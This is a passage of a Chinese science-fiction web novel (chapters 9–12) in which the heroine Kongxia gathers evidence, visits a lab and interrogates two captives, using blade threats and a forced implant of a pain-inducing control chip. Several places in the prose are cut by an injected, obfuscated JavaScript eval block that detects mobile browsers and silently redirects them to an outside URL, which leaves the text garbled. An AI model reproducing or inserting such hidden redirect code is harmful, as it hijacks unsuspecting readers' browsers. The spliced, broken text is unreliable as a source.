玉石出现的地方异常,想也知道是谁捣的鬼。 只是她不清楚,为什么面前这个女人知道。 明明隐藏了这么多年。 “我只做这一回。”老板道。 少了装疯卖傻,气质重新沉淀下来,她身上依稀可显出技术人员的专业性。 “不过我还是想知道,你怎么发现的?” 这个发现,既指身份,也是在询问玉石。 控夏并不回答,话题拐回之前。 “下周,我会带你去机器在的地方。工具你都有?” “有的。”老板道。 控夏点头,说起另一件事: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108721|164017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “能在底下黑市里存活的商铺都有靠山,你们之间互相清楚吗?” 老板脸色一变,有些结巴:“清、清楚什么?” “你从来没有想过,为什么我每次都只在你这里停下吗?”控夏抬眼看她。 这个问题她确实有想过,但时间长了,没有看出所以然来,只能用自己想多了来安慰自己:“我以为是因为我做得太好喝……” 控夏一时语塞,垂眼盯着那杯黑乎乎的、不知道用什么材料制成的饮品,为自己的健康感到担忧。 “所以真的很难喝吗?”老板的声音有些颤抖,像是自己的信仰崩塌了。 控夏无语道:“倒也没有。” 老板对着她多年来唯一的食客寻求安慰,“那你觉得能打几分?” “呃……八分吧。”控夏违心道。 其实满分一百。 老板却以为满分是十分,她脸色重新变得好看起来,甚至还带了些笑:“以后请多多给我提出建议好吗?我每年都会参加城内举办的‘十全十美’食物大赛,但是每年的手续都不够,每次都被主办方打回来,我已经为这件事苦恼了很多年。” “如果能在你的帮助下成功夺得冠军的话,那我真的真的会非常感谢你!” 对方已经陷入自己夺得冠军的美好幻想中,控夏把自己嘴里的刻薄话咽下去。 在这种看不见未来如何的境地下,确实需要一点目标支撑自己更加乐观地活下去,哪怕再遥不可及。 控夏再次开口:“不要试图转移话题以逃避我的问话。” 对方脸微不可见地一僵,迅速切换成笑容满面的姿态:“我怎么会有这个意思……?!” 有没有大家心知肚明,控夏不想再跟她绕这些无关紧要的事,直接问:“你的推测?” 这种被牵着走的感觉太难忘,好像回到了那段关在牢狱里审讯的日子。 老板起了掀摊的心思,但面前人的武力值让她的小心思又歇了。 既然怎么都逃不掉,那干脆把事情摊开来好好掰扯一番。 利益才是始终的朋友。 她不再闪躲,目光同控夏投来的视线相撞,“你能给我什么呢?这可不是什么随便打听就能得来的消息。” “让你的家族重新复苏起来?”控夏漫不经心。 对方的眼神从满怀期待变得失望,再开口时语气嘲讽:“你查的挺多,但是太自信。” “我恨透了他们。” 她把方才藏好的透明玉石拿出来,恶狠狠地扔在桌上,像是在发泄自己的怒气:“就因为这块东西,所有人都被牵连入狱!我的父母姐姐都被人害死在里面,诺大的家族只剩我一个人——” 控夏听出她语气凝滞,时间极短。 她很快恢复,继续怒气冲冲道:“你凭什么觉得我会再为这个该死的家族做事?!” “这就是你一直隐姓埋名的原因吗?”控夏不躲不闪地直面她的怒气:“做你并不喜欢的调饮师,肆意的辱骂、怨恨外界,我很好奇,你对待自己的时候会比这更狠吗?” 她满腔怒意被压回胸腔。 会吗? 其实是会的。 不过她并不打算将自己夜深人静时的满腔怨恨诉诸于人,只是狠狠刮了她一眼。 “跟你说这些只是为了向你明确我的态度。以及,如果你开不出我满意的回报,那我只能告诉你,关于你想知道的一切,我都无可奉告。”老板声音冷硬。 那真是难搞哦。 控夏心想。 还好她手里握着的情报不止这些。 “你恨,那他也恨吗。” 控夏身子转了半圈,下巴朝程借景的方位扬一扬:“他可只知道自己是个被你捡来的孤儿。” “但作为你姐姐的遗腹子,你还忍心让他跟着你继续过这种躲躲藏藏的生活?” 9. 第 9 章 程借景正满脸不耐地跟小男孩说话,忽然被一股大力往后拖,他站不稳,踉跄着退了两步,本来以为自己要摔,一只手扶上他的肩。 他扭头一看,是控夏。 “走走走!都走!”老板把小男孩护到身后,面目凶狠地盯着她们。 程借景脸色发臭,拉过小秋,躲在控夏身后。 控夏道:“下周我会来,到时候你准备好工具。” 老板一滞,她差点忘了这茬。 先前已经说好的,再反悔显得不讲信用,她只好梗着脖子不说话。 控夏当她是默认,一手牵着一个的走了。 “姐姐,你是来带我回家的吗?”小秋牵着她的手,仰头乖巧问。 控夏并不看她,盯着前面的路想接下来的打算。 “不是。”她敷衍道。 并不清楚生物实验室的效率怎么样,但控夏还是打算尽管找到怪物的踪影,好将其送去实验室探个究竟。 还要去见菲菲姐一面,以及沈礼聿说的50e计划,是时候该详细了解一下这个项目了。 至于刚才那个老板,下周再说。 她做好自己的打算,才惊觉旁边传来小声啜泣。 “……怎么了?”控夏蹲下来,摘掉手上的手套,指腹抹过她眼下的泪痕。 小秋张手抱住她,摇摇头,哭得有些结巴,“就是、有点想家了。” “姐姐,我想回家了。”她抹掉脸上的泪水,脸皱在一起,“送我回家好不好,我叫妈妈给你做好吃的。” 控夏蹲着,下巴压在小秋肩上,给程借景使眼色:还不快点过来帮我! 对方幸灾乐祸极了,摊开手朝她做鬼脸。 这家伙尽会捣乱。 唯一的队友不靠谱,控夏之能自己上了。 她手轻轻碰在小秋背上,一下一下顺着。 “现在还不行哦,等姐姐忙完,一定送你回去。” 小秋站直身,吸吸鼻子道:“我之前来过这里的,还认得回家的路。” “如果可以经过的话,可以顺便把我带回去吗?”她眼巴巴盯着控夏,手指纠结着。 控夏笑容一僵。她松开小秋,站起来,点开通讯器,同时跟她说:“这个哥哥会送你去的,姐姐太忙就不去了,不要哭噢。” 说完,她把还没反应过来的程借景拉到小秋面前,小声对他说:“我先走了,你应该是认得回去的路的吧?记得看我给你发的讯息。” 接下来的事就不归她管了。 控夏缓步走到一间低矮的屋子前,然后俯身弯腰猫了进去。 “要什么?”清脆女声响起。 控夏径直走到柜台处,低声道:“和之前一样。” 对方听她这么说,抬眼打量她两眼,随即笑起来:“老熟客呀。” 老熟客自有老熟客的待遇,少女于是掀开背后的布帘,在里面翻找一番后,拿着一个薄若无物的膜出来。 那张膜是特殊的材质,一旦接触到皮肤便会完美的融合进去,因此她手上带了隔绝的手套。 “照常给你记账上。”她把它装进袋子里,递给控夏,然后双手撑在下巴上,笑盈盈道:“还以为你不需要了呢,幸好昨天又定了一批货。” “好。”控夏言简意赅道:“以后来的次数只多不少。” “OK。”接收到她传达的讯息,少女说:“进货量会酌情增加。” 出了房屋,控夏进了路边的公共卫生间。 她拿了两个夹子,把自己的刘海夹起来,然后隔着手套取出那张膜。 对着镜子确保膜对上自己脸部的每个结构,她闭上眼睛,等待一会后再次睁眼。 镜中人的脸完全变了一个模样,颧骨骨骼高升,唇线刻薄,银色的眼珠已然变成灰黑色,看起来死气沉沉。 控夏满意的点点头,将袋子毁尸灭迹后又走出公共卫生间。 中央广场上又常驻了护卫军,控夏立在高墙上观察,思考怎么不引起他们注意。 她的目的是墙角的下水道口,那个地方很少人去,尤其现在,夜深人静,城里的人经历了前几天的伤害后,更愿意呆在家里,而不是出来乱跑。 这种情况下,若是她贸然出现在那里,势必会引起怀疑。 晚上十二点时,中央广场的所有护卫军交班,中间有两分钟的时间差。 控夏迅速飞到下水道旁,探头进去查看。 左右黑洞洞的,还散发着恶臭。 没看出有什么异常 控夏单膝跪在地面,从腰上抽出一根韧性软尺,捏着尺头调数据,然后将其吸在下水道侧边。 啪! 软尺迅速向深处延伸。 控夏调开通讯器,空中立马出现一幅实时监控图,蓝线代表软尺的位置,红点是软尺延伸的结尾处。 蓝线两边一片黑,不断向前延伸,红点行进极快,几乎达到了一秒一米的速度。 她的目光定格在蓝线上一处暧昧的灰色,那团灰色有生命般交缠涌动,然后慢慢触到蓝线位置,惊吓般避开,渐渐消散。 两分钟到了。 “怎么下雨了?”站在靠近贫民区的护卫军扫掉身上的水珠,“刚换班就下雨……” 另一个人从口袋里偷摸着拿出来一点黑色的肉干,扣扣搜搜地分了他一块:“别管下不下雨了,来尝尝这个,好东西,我刚从队长那里顺的。” “顺的?!”相当震惊的语气,很快变得小声:“让队长知道你不是要死了。” 话是这么说着,他还是接了过去。 一块不过拇指甲盖那么大的肉干,放嘴里嚼两下就散了,只留下一股熏久的味不散。 他没滋没味的砸吧两口,问:“你知道这什么吗?” “不知道,我看队长那里宝贝得很,队长这人你还不知道吗?!保准是好东西!” 两个人没头没脑凑在一块骂队长,控夏看他们背对着,一时半会不会转过身,蹲下去把软尺收上来,卷成卷放在随身的口袋里。 嘭。 控夏警觉侧过身,转头看去时,那两人头靠头闷闷地砸在地上。 她走过去踢了两下,发现他们已经死死的晕过去了。 刚好今天带了收集管。 控夏蹲下身,从腿侧边拿出两个收集管和细针筒。 通讯器侧边有针头弹出,她安装好后,在二人手臂内侧找了个隐蔽的位置扎进去,各抽一管血。 放回腿侧后,她又在两个人身上搜了一通,很遗憾,他们口中的‘好东西’已经找不到任何存在的痕迹。 估计都吃进肚子里了。 那两块肉干实在可疑,新城建立后就再也没有除人类外的生物存活,是什么东西都难说。 那天死了一片的鸽子也没有下文。 但那些鸽子的体型不像是能做成那么丰腴肉干的程度。 她思忖着起身,脚步不停,去了实验室。 实验室灯火通明,出乎控夏意料之外。 她以为这个点应该是没人在,除了了看门的老头。 默不作声越过热火朝天的一群人,她避开实验区,把那两管血放在外面的台子上。 老头依然在门口看着,只是这次不是醉态,反而神采奕奕。 看见控夏,他大声的打招呼,探头往里面看了一眼,解释道:“她们在做实验,一般不会注意到外面。” “没事。”控夏不在意这个,她来是为了送收集管。 “负责人在这里吗?” “在的,在的。”老头连连点头,进去没一会带了一个女性出来。 这名女性摘下发帽,控夏看见她发间黑发掺着白丝。 “您好。”控夏摘下手套,同她握手。 她看起来很好相处, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108722|164017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑的时候眼尾皱纹都也跟着动。 “听说是您让实验室重新启动?”她道。 控夏点头。 负责人轻轻舒了一口气,明显正色:“虽然清楚这声谢谢您并不需要,但我还是要郑重的感谢您。实验室在过去的十五年里为这座城市做出了不朽的贡献,但它的关闭实在让人意料未及。” “不过既然再次开启,我相信它一定会再次发挥它的价值。” “最后,请允许我自我介绍一下,我姓容,名任。灾难尚未发生前,我在研究院做项目负责人,以及在某大学担任教授。” 她再次伸出手,“如果您能对我付诸信任,将变异生物相关的研究交到我手上的话,我会全力以赴。” 控夏:说:“如果有您的加入,我想我们的研究会更快一步的。” 文化人的交流到此为止,控夏叫老头把里面的两只试管拿出来,“两个人的血液。疑似吃了不明生物的肉导致晕倒,你把鸽子的实验挪出来一半,两个实验同步进行。” 对方点点头。 控夏又问:“什么时候能出结果?” “血液透析很快,但慢的是里面不明因子的构成。”她说,“如果需要加快速度,我们需要更加高级的设备。” “能加快多少?” 容任伸出三根手指,“用目前最高级的设备,能加快三十倍。” “行,我来解决。”控夏道:“三天后你会看见那台设备。” 正说着,她的通讯器忽然闪起来。 该说的已经说完,控夏同她们挥手示意回见。 “怎么了。”控夏问。 “你什么时候回来?”程借景语气臭道。 她推开联盟大楼的门,“现在。” 通讯器再闪一下,程借景已经结束了通话。 不知道发生了什么,但控夏心里有不好的预感,于是加快了脚步,几乎闪作一道光。 吱呀。 控夏推开门,看见里面称得上三足鼎立的画面。 床边分别是坐着轮椅的沈礼聿和抱着臂显然生气的程借景,床位窝着一团小人。 听到开门的声音,床边两人纷纷看过来,床尾的小人也抬起脸,控夏终于看清她。 原来是小球。 她关上门,把随身袋整个解开,扔给程借景。 “什么东西。”程借景好奇地打开看一眼,被臭得一倒仰。 他把袋子扔到地上,臭着的脸显然更臭了。 沈礼聿先开口:“回来了。” 只是一声普通的问候,控夏没有回应,程借景先炸了。 他大声嚷嚷:“控夏你不许理他不许理他!” “……你喊我什么?”控夏沉默一瞬,缓缓道。 程借景不情不愿地喊:“夏姨。” 旁边立马传来一声细微的笑。 程借景立马怒视着笑声来源。 沈礼聿却不看他,眼睛一错不错盯着控夏:“要休息么?” 她摇摇头,走过去把程借景拎开,“轮椅还要继续坐?” 无视掉手底下那个小机器人的挣扎,控夏捡起地上的袋子,一下拍到他身上。 沈礼聿缓声道:“明天可以不用了,轮椅的作用只是为了好好休养。” 他歪着头询问:“是有什么事情么?可以直接吩咐我。” “想跟你了解一下50e计划。”控夏道,“你好好休养吧,现在还暂时没什么事。” “好。” 知道她这是结束交谈的意思,沈礼聿没再开口。 “先听我说。”控夏把袋子放到程借景手里,“这里面是检测器,数据已经传到你系统里,分析完异常的点告诉我。” 对方终于肯抓好,控夏才捏捏他的脸。 “到底怎么了?” 程借景恨恨说:“那个姓沈的,不是好人!” 10. 第 10 章 控夏狐疑地朝沈礼聿方向看去。 对方手握成拳放在唇边咳了咳,拨动轮椅,自顾自说:“我跟他们说点事情。” 然后进了里间。 门被轻轻阖上,起到聊胜于无的隔音作用。 程借景眼睁睁看着门关上,脸上委屈的表情立马变了:“那份合同摆明了有猫腻,你为什么要签!?” “签的我的名字,又不是你的,怕什么?”控夏顺势坐在床上。 “你……”程借景好半天才憋出来一句,“我以后还要去看我母亲。” 控夏瞥他一眼,语气带上调笑的意味:“担心我就直说。” 狗屁。 他愤愤不平在心里骂了一句,没被她把这茬拐过去。 “我查了里面那人的底细,”程借景小声且正经道,“十五年前联盟刚成立时被提拔上来的,到目前为止,没权没势的高层就他一个,‘死’前跟你阵营不同——” 控夏说:“然后呢?” “他在这十五年里每一次都把你的提议驳回去了——是每一次。” 控夏勾了勾嘴角,手捏他的脸,不怀好意地晃,“你都从哪知道的?” 程借景把自己的脸从魔爪里解救出来,“所有资料都保存在系统里面,那不是我大本营吗!” 说的也是。 新城运转系统就建立在程借景的本体上,他要是想查,分分钟的事。 不过……到底是谁记录进去的。 程借景说:“这不是你们人类常常说的宿、宿敌吗?” “你想太多了。”控夏说,“还有,少看点小说。” “你就不能说说你的想法吗?!”程借景眼里都要冒出火来,“万一你被算计死了,我上哪再找个人去。” “你说话真难听。”控夏嫌弃。 她曲起手指敲敲程借景的额头,低声道:“有没有猫腻的,现在这种情形没机会细想。况且他们要是真的对我有害,明着总比暗着来要好。” “我没那么多时间再管这些了。”控夏摇摇头,“况且你不是扫描过合同和芯片里面的数据,看不出端倪。” 程借景张张嘴,又合上。 就是因为内容太具有倾向性,又扫描不出端倪才觉得可疑。 “沈礼聿作为十五年来唯一剩下的平民高层,除了客观原因,肯定还有自身能力的加持。”控夏低声,“这么轻易让你看出来,那这十几年白过了?” 怎么说话呢? 我可是这个时代最伟大的发明之一! 程借景对控夏看轻他这件事非常不满意,但还是‘小’人有大量,没跟她计较。 “反正不是好人。”他脑海里回旋着沈礼聿说的话,不满地嘀咕。 控夏没听到他的喃喃自语,想起离开黑市之后交代程借景的事。 “小球呢?” 话音刚落,床尾那坨小幅度地动了动。 程借景指着用气音道:“那儿呢。回来之后就睡了。” 控夏叹了口气。 把小球寄养到黑市老板那里后,她抽空回去了捡到小球的事发地,但是很遗憾,那一片的人没有一个成功存活下来。 不知道程借景怎么糊弄过去的。 应该不是直接告诉她真相了吧? 察觉到自己的衣服动了动,控夏思绪回到现在,她看着程借景。 对方表情幽怨。 “你居然把那么棘手的事扔给我。” 控夏食指竖在嘴前,对他道:“基本情况我不是已经告诉你了吗?” “告诉我能解决什么问题吗?!”程借景回想起自己晚上接收到控夏消息时的晴天霹雳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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怎么做,这是一个值得思考的问题。 但控夏不需要思考,她下了车,说了句:“先看看他们想做什么。” 话罢,她自己先窜出去一段,然后隐蔽在最近的蔽体后。 王阅看了沈礼聿一眼,紧随其后。 离近了才看清楚,那排人身上穿了不同材质的衣物,从头到尾套得严实,没有一丝皮肤裸露在外面。 “是在试验吗?”王阅开口。 控夏“嗯”了一声。 “出城”这件事一直都在大幅度宣传,瞿仪宗宣称城内资源不够,需要培养小队跨出保护区去寻找人类其他的可能性。 不过一直都只是宣传,在控夏还“活”着的期间,并没有什么进展。 技术是一方面原因,还有一个是城内人们对“出城”这个词的抵触。 为什么现在却突然跨了这么一大步? 控夏皱皱眉,在今天之前她都只顾着城内的事,忘了看看瞿仪宗这老不死的在做什么。 “我去抓个人过来?”王阅小声问。 控夏刚要点头,余光瞟见那条队伍的不远处站着一个男人,目光紧紧盯着,像是在计数。 她拉住王阅的手,低声道:“等等。” 控夏打算把那个男人抓住。 她偏头刚要对王阅说话,手上的通讯器忽然振动起来。 是沈礼聿发来的讯息。 控夏点开,他四平八稳的声音传出来:“‘出城’的人跑了一个,让我抓住了。” 既然这样,那就不用再抓一个了。 “那个男人,抓回车上。”控夏说。 她吩咐完,回了车上。 沈礼聿手上依旧拿着通讯器,看到她回来也不惊讶。 “那里。”他手指地面。 控夏目光顺着他手指的方向,地面上果然躺着一个人。 说是躺着并不准确,那人被五花大绑,扔在地面扭动。 控夏走过去蹲下,一把拉下套在他头上的东西。 那上面附着定位器,可能还有其他功能,目前并不清楚。 她手指一动,把定位器捏碎了,准备带回去让程借景查验一下。 “我不出去!我不去!我不出去啊啊啊啊!”头上的东西一摘下来,那人扭动的更厉害了,嘴还不停地叫着。 控夏带着黑色手套的手捏着他下颌,让他动不了。 “再叫我就直接把你扔出去。”她低声威胁。 这招不管用,对方不仅不听她的话,反而叫唤地更大声。 控夏单手把他拖进车里,“啪啪”两个巴掌,直接把对方扇晕了。 那人头一歪,靠在门边不知死活。 控夏跳下车,对上沈礼聿的目光。 她走过去,还没开口,看见王阅在月光下拖着人往这边来。 “扔上车。”她脸朝车的方向偏了偏。 王阅脚步不停,转了个方向直直朝车里去。 趁着月光,控夏看清了这人的脸。 ……居然是熟人。 这就好办了。 她嘴角勾了勾,对沈礼聿做了个口型:“上车。” 哑光黑的磁浮车又朝着原来的路去。 “你们有没有什么‘小黑屋’之类的房间?”控夏问。 沈礼聿点点头,“现在去吗?” “是。” 磁浮车调转方向,绕着联盟大楼往边缘去。 - 控夏踢开门口堆积的垃圾,打开门,里面立马喷出灰尘。 “……这件屋子放了多久?” “咳咳。”沈礼聿表情冷静,“应该是五年。” 五年,难以置信的数字。 不过现在不是关心这个的时候,里面的灰尘散尽后可以进人,车上的两个人拖在地上,然后被熟练的王阅一边一个绑在支架上。 屋子太久没进人,已经不再接水源。 不过这难不倒王阅。 这间屋子旁边是垃圾站,正巧早上下了雨,垃圾堆里的污水正汩汩不停地流到臭水沟里。 王阅从垃圾站门口顺一个桶,从臭水沟里捞了一大桶污水,提着进去。 哗啦! 哗啦! 带着粘稠不明物体的污水从那两人头上倾盆而下,顺着身体流到地面,散发一股难言的气味。 王阅打开窗,把桶从里面扔到垃圾堆上,然后撤到门边。 她转头时,控夏正盯着她。 王阅冲她露出羞涩的笑。 控夏把嘴里的话吞进去,吐出三个字:“做得好。” 那两人被熏天的臭味冲醒,先前被控夏扇了两巴掌的人一张嘴又要叫唤,控夏冷漠道:“再发出声音,我不介意让你这辈子都醒不过来。” 这句话把男人吓得打了个嗝。 他旁边绑着的那人倒是没张嘴就叫,正吐着呢。 窗外月光照耀在他银发上,显出银光来,被污水沾染过的地方更脏了。 长发上一溜的水珠,滴答滴答落在地面上。 又过了五分钟。 银发男人仍遏制不住呕吐,控夏不想靠近他,扔了一枚刀片过去。 刀片割断覆在他眼上的布片,嵌在后面墙里。 男人在呕吐的间隙抬头看,原本佝偻的背一下挺直了,撞在支架上。 控夏听见他牙齿打架的声音。 “吐够了?” 跟这句话撞在一起的是另一个声音。 男人颤抖着开口:“你你你……控……你不是死了吗?!!” “说什么呢?!”控夏还没开口,旁边的王阅先道:“你才死了呢,你全家都死了!” 对方身体抖成筛子样,看都不看她一眼,只一直盯着控夏。 “出城那些人,”控夏扬扬下巴,“哪来的?” 男人却不答,问起另一件事,“大胡子、大胡子是不是你杀的!” 控夏歪歪头,还没作答,面前的人就神神叨叨地来回重复:“就是你!就是你……那天我跟大胡子聊完天,他去了卷宗室,只有你知道他的行踪……你为什么要杀他?!你为什么要杀他……我可是提醒过他了,这不怪我,这不怪我……” 控夏皱眉,脚往前一步,被冲天的臭气熏回来。 她只好又拿出一枚刀片打出去。 刀片沿着男人的头皮溜了一圈,削落银发。 头皮发凉的感觉成功让他闭上嘴。 控夏再问了一遍刚刚的问题。 男人目光呆滞,听到问题时终于有了反应:“我不知道。” “你不想要你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108724|164017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的银发了?”她不知道什么时候又摸出了一片,在手上转着玩。 对方屈辱地转头,不肯看她。 控夏叹了口气,“看来是真不想要,也不知道你秃着回去瞿仪宗还认不认你。” 听到这句话,对方终于有了动静。 他像是刚反应过来自己头发掉了一圈,头拼命往下够,地上的银发早就被污水染得失去了光泽和颜色,再也回不到原来的地方了。 徒然挣扎了许久,他终于卸了力,用气音问:“你想怎么样。” 控夏耐心地又问了一遍:“出城那些人瞿仪宗是从哪找来的。” “我不知道。”男人说,“我不知道,他只是派我来看着,不要烧了人。” “出城的人有多少?” “21个。”男人说。 旁边的人忽然开口:“你胡说!分明有36个!” 控夏眼球移动,定到他身上:“大人,我知道的我都说,审完了能不能放我回家——” 一把刀横在他脖子上。 男人不敢动,只听见一个女声:“让你说什么就说,谁允许你谈条件?” “那我不能一点报酬都没有吧?!”他大声道。 王阅刀距离得更近些,“我们大人自然会定夺,再说这些有的没的就把你扔出城外!” 他不说话了。 王阅收起匕首,在控夏的眼神示意下退回来。 “你不老实……”控夏轻声道。 她手上一直拿着的刀片再次飞出去,有灵性般绕着男人的银发转了一圈。 男人咬牙闭着眼,然后在一片静谧中睁眼低头,看见自己短了一截的银发后,骤然爆发出惊人的尖叫声。 控夏没来得及阻止,他就两眼一闭,晕了过去。 “……”王阅无语片刻,扭头看控夏。 控夏正默不作声地盯着旁边没晕的人,很快移开目光,在他身后的墙上巡视着。 墙上有什么? 男人心里想。 他被控夏的眼神看得心里发毛,很快按耐不住,自以为小幅度往身后看。 没等他看出个所以然来,面前立马被一片黑影盖住了。 “看什么呢?”那道黑影轻声道。 在看清的前一刻,男人突然传来剧痛,很快眼前发黑,晕了过去。 “这个地方不行。”控夏拔掉墙上的刀片,像刚刚那样又巡视了一遍屋子。 “换一个地方审。” 车内。 “毕竟五年了。”沈礼聿轻声说,“刑具在撤离的第二年就被撤走,留下这间空屋子。” “我倒是觉得奇怪,”控夏说,“其他高层私底下要么做着害人的生意,要么赚得盆满钵满……只有你,守着那件破屋子,还在五年前就停止使用。” “这不奇怪。”沈礼聿看着她:“在升上来之前我只是一个普通的平民阶层。” 控夏沉默。 这话不错,现在高层的人大多有权有势,有的是从筛选上来之前已经富贵无比,还有的在这几年疯狂敛财,成为了“新贵”。 沈礼聿则相反。 他从始至终都没想过这些,也确实没干过这些,怪不得被称为“平民”的代表。 “这就是你一直跟他们对呛的缘故吗?”控夏问。 12. 第 12 章 “……什么?”沈礼聿震惊转头。 控夏朝他笑一下,目光快速掠过他垂在颊边的黑发。 黑发同润泽的皮肤形成鲜明对比,侧脸连着明晰的下颌线,像冷硬的坚玉,在光华下盈盈泛着光。 她手指蜷了蜷,视线最终定格在他眼睛上,不动声色道:“震惊什么?” “我只是奇怪……”沈礼聿移开目光,小声道:“你很少参加会议,十年来参加的次数不超过两只手……你是怎么知道的?” 控夏道:“问这些问题,是想试探我知不知道你干的事吗?” 话音刚落,磁浮车一下歪倒,伴随着王阅一时情急爆出的粗口,剧烈的失重中,控夏一把抓住上方的把手,沈礼聿反应则没那么快。 几秒后,磁浮车回归正轨,车内人仰马翻的场面却没那么快恢复。 王阅不敢再分心,只是问:“女神,没事吧?” 控夏放在沈礼聿脸上的手一僵,迅速撤回来,低声问他:“你有一个女神的绰号?” 沈礼聿慢慢坐起来,可能是刚刚撞狠了,脸颊微红。他揉了两把自己的脸,回道:“是在叫你。” 没听到回答,王阅又喊了一声:“女神?” 这次后面终于传来了一声轻轻的:“没事。” 王阅松口气,接着道:“刚刚不知道飞来一个什么东西,我们差点撞上了,还好我反应快,不然大家现在尸体都是硬硬的。” “除了女神你。”她补充道:“我们老大硬得最快。” 说完,她听见后排的沈礼聿有些无奈,“王阅。” 王阅偷偷吐了一下舌头,正色道:“接下来就不会了,应该还有两分钟就到了。” 她说完就没人再讲话,车内恢复了静谧。 控夏按了按自己的太阳穴,强迫自己接受了女神这个称呼。 “等一下你去接程借景。”她按开通讯器,低着头发讯息,同时对王阅道。 “好。”王阅说。 磁浮车停在半空中,隐隐约约有什么东西被抛在地下的声音,然后才降落。 控夏扶着门跳下车,朝不远处两个圆形柱体走过去。 她一手拖了一个,偏头看沈礼聿有没有跟上。 对方不紧不慢跟在她后面,长发被启动直升的磁浮车吹得飘起来。 “这里?” 沈礼聿跟着控夏下了负一层,又在负一层的喧哗中七绕八绕,最终停留在一家低矮的门面前。 控夏点点头,手按在圆形柱体的按键上,“唰”地一声,里面的人露出来。 “太小了,没地方放。”她道。 忍着恶心把两个晕到现在都没醒的人提进去,控夏把他们扔到里间,很快有人开了水,对着两个人冲洗。 外面那两个圆柱体很快被沈礼聿清理掉,堪堪停留那么一会已经有很多人围观。 控夏拉着沈礼聿进里间,余光瞥见他脸上挂着笑意。 沈礼聿也发现她看见了,主动解释道:“这个场景勾起了我对旧世纪的一些回忆。” 控夏难得来了兴趣,问:“什么?” “很像屠夫拎着两头猪进去杀。”他没说完,站定在原地,眼睛盯着前面正被暴力清洗的两人,“先洗干净……” 控夏听他的话,感觉不对劲,“你觉得我是杀猪的?” 沈礼聿的笑僵在脸上:“……” 半晌,他收了笑,摆摆手:“我绝对没有这个意思。” 控夏偏头勾了勾唇角。 沉默一直持续到那两人被五花大绑在手术台上。 “想装什么?”从旁边办公室走出来的女人问。 她戴着眼镜,满头秀发束在脑后,绝没有一根在额头前面掉下来。 “控制芯片。”控夏说,“你店里最热销的那种。” 她们说话间,银发男人已经悠悠转醒,可惜四肢被紧紧绑在架床上,嘴里也塞了东西,费力折腾半天都没人发现。 还是沈礼聿看见的。 他凑到控夏耳边提醒道:“醒了。” 控夏才停止和老板的交谈,三个人的目光一齐放在银发男人身上。 她脸上露出一个笑,一字一顿道:“手术可以开始了。” 说完去了外面,沈礼聿跟在旁边。 不管里面传来什么样的声音,控夏靠在门边,在通讯器上戳来戳去。 沈礼聿看她戳完之后关掉了通讯器,抬头朝他这边看来。 沈礼聿:“……” 他默默转开头,脑子里还是刚刚的“屠夫论”。 “身体吃得消?”控夏随口道。 听到这句话,沈礼聿缓缓把脑袋转回来:“吃得消,谢谢关心。” “我看也是。”控夏说,“都有精力想屠夫了。” 对方又缓缓把脑袋转了回去。 哔。 控夏接通通讯器,程借景的声音传出来:“你们在哪里?” 她刚张嘴,旁边的沈礼聿道:“我去接他们。” 控夏点头,对程借景说:“你们等在原地就行,沈长官去接你们。” 对面顿了顿,极度不情愿地应了“好”。 通讯切断,控夏抬头,发现面前的人还没走。 她挑挑眉,“还不去吗?” 沈长官:“……我现在去。” 沈礼聿走了,里面的老板走出来。 “做完了?”控夏跟着她走进去。 老板“嗯”了一声,指另外一个,“做手术的中途醒过,我把他打晕了。” 被无数次打晕的人得不到关心,控夏走到银发的床前。 手术时散发的热气足以蒸干脸上粘着的发,露出男人痛苦的脸。 “你在我身体里面装了什么?!”男人气若游丝问。 “没什么,一枚芯片而已。”控夏说。 老板不知道什么时候出去了,偌大的手术间只有她和银发两个清醒的人。 银发恢复了一些力气,咬牙切齿说:“我真的什么都不知道……就算你装了芯片也是白装。” “白装?”控夏笑了,“你是想着回去之后找人卸掉吗?少异想天开了。” 男人紧紧抿着嘴,显然是让控夏戳穿了真实想法。 控夏接着道:“芯片装了避光装置,一旦进入体内就别想再拿出来。” 她说完看了看男人的脸色,对方显然是不信,“你是想问怎么装进去的吗?这个问题我回答不了你。” “不过……”控夏道:“你去了那么多次会所,应该有听过早期那些被赎出去人的结局吧。” 银发猛然转头,“是芯片……?” “答对啦。”控夏笑道,“当然,你要是还不信的话,大可以回去试试。” 银发想说话,突然感受到身体深处激起一股热,那股热意像是要把他的五脏六腑烧熟了,难以言明的痛苦。 闭着的眼里流进汗,有些刺痛。 银发忍了一会,整个人蜷成弯虾。 “停,停——!”他忍不住了,大声叫喊着。 